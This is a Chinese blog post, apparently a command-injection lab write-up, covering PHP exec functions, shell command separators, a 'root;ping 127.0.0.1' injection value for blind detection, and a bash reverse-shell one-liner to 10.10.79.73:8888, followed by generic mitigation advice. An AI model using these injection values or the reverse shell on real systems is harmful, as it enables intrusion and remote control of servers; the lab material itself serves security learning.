命令执行

Injection

操作系统命令注入演练。演示OS命令注入


命令注入也称为命令注入

PHP常见的执行命令的函数:system() ; exec() ; shell_exec() ; popen() ; passthru() 等等。函数的返回结果不同,各位自行查阅。

Windows和Linux都支持的命令连接符

        cmd1 | cmd2    只执行cmd2

        cmd1 || cmd2    只有当cmd1执行失败后,cmd2才被执行

        cmd1 & cmd2    先执行cmd1,不管是否成功,都会执行cmd2

        cmd1 && cmd2    先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2

Linux还支持

        分号(;)

        cmd1 ; cmd2按顺序依次执行,先执行cmd1再执行cmd2

这是一个命令执行的页面

后端代码大概是这样

命令是否被执行可以使用ping命令控制次数查看页面的延迟(加载)时间判断。

Linux可以直接ping,没有默认次数,页面会一直加载,也可以加-c参数指定次数。

Windows默认次数为4,可以加-n参数指定ping的次数 如:ping 127.0.0.1 -n 10

靶场服务器系统为Linux,这里用的是

root;ping 127.0.0.1

页面一直是加载状态 

如果执行的命令没有回显,可以在网站路径下生成一个txt文件,

用>把执行的结果重定向到txt文件上查看执行的结果

查看内核

 

 

反弹shell

服务器上的大多数nc都没有-c、-e参数

这边用bash反弹shell

bash -c 'bash -i >&/dev/tcp/10.10.79.73/8888 0>&1'

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
命令执行漏洞是一种常见的安全漏洞,可以通过执行恶意系统命令来对应用程序进行攻击。为了修复这种漏洞,以下是一些建议: 1. 输入验证和过滤:对于用户输入的数据,进行严格的验证和过滤,确保只允许合法的输入。可以使用白名单或正则表达式来限制输入的字符集和格式。 2. 参数化查询:对于需要执行系统命令的函数,应该使用参数化查询来构建命令,而不是直接将用户输入拼接到命令中。参数化查询可以防止命令注入攻击。 3. 最小权限原则:将应用程序运行的用户权限限制到最低必要权限。这样即使攻击者成功执行了恶意命令,也只能在受限的环境中操作,减少了攻击的影响范围。 4. 安全沙盒:将应用程序运行在一个安全沙盒环境中,限制其对系统资源的访问。这样即使攻击者成功执行了恶意命令,也无法对系统进行破坏。 5. 安全编码实践:开发人员应该遵循安全编码实践,如避免使用可执行代码作为用户输入的一部分,避免使用不可信的数据直接执行系统命令等。 6. 安全审计和监控:定期对应用程序进行安全审计,检查是否存在命令执行漏洞。同时,实施监控措施,及时发现并应对潜在的攻击行为。 请注意,以上建议只是一些常见的修复建议,具体的修复方法还需要根据应用程序的具体情况进行评估和实施。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值